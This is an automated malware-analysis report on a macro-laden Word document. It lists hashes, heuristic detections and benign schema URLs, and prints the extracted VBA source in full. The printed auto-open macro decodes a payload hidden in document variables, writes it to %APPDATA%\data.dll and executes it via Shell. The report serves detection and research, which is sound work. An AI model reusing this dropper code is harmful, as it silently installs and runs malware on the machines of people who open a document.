Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eac5f47b96b61d39…

MALICIOUS

Office (OOXML)

763.1 KB Created: 2020-12-08 09:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-12-25
MD5: a96c20afb9fe88767f93b09bec006281 SHA-1: 951506494eae90f3a89e40370937ab4e8877e39a SHA-256: eac5f47b96b61d390c1075ab364fd8c023c6bb6da721bbdf4d382943640759f9
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(Replace(Right(Left(a, Len(a)), Len(a)) & strResult & Right(Left(b, Len(b)), Len(b)), """""", """"))
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set oS = CreateObject("Wscript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oS = CreateObject("Wscript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1881 bytes
SHA-256: b2afd7041a72d3d6385c608b360f4cb2b998509056257068f42cfe19d3bc9d5a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub DocumentOpen()
    applyFormRegionalEncoding
End Sub
Sub AutoOpen()
    applyFormRegionalEncoding
End Sub
Sub applyFormRegionalEncoding()
    Set oS = CreateObject("Wscript.Shell")
    strResult = oS.ExpandEnvironmentStrings("%APPDATA%") & "\data.dll"
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    Set oF = oFSO.OpenTextFile(strResult, 2, True)

    If ActiveDocument.Variables.Count <= 0 Then
        Exit Sub
    End If
    ReDim strRegion(ActiveDocument.Variables.Count - 1)
    For Each v In ActiveDocument.Variables
        If Len(v.Name) >= 11 Then
            strRegion(Split(v.Name, "_")(3) - 1) = v.Value
        End If
        'v.Delete
    Next v
    For Each r In strRegion
        If Len(r) >= 3 Then
            strData = Right(Left(r, Len(r)), Len(r))
        ElseIf Not IsEmpty(r) Then
            strData = Right(r, Len(r) - 1)
        End If
        If Len(strRegionData) = 0 Then
            strRegionData = strData
        Else
            strRegionData = strRegionData & " " & strData
        End If
    Next r
    WB oF, strRegionData
    oF.Close
    Set oF = Nothing
    a = ActiveDocument.Variables("charset_gb").Value
    b = ActiveDocument.Variables("charset_us").Value
    
    Call Shell(Replace(Right(Left(a, Len(a)), Len(a)) & strResult & Right(Left(b, Len(b)), Len(b)), """""", """"))
End Sub
    
Sub WB(oF, sB)
    Dim aN
    Dim iI
    
    aN = Split(sB)

    For iI = LBound(aN) To UBound(aN)
            oF.Write Chr(aN(iI))
    Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 1069568 bytes
SHA-256: 229eb284e0b7d16f4d95c3c70a8b931040903df3a8b85a25be00e408edb63e08

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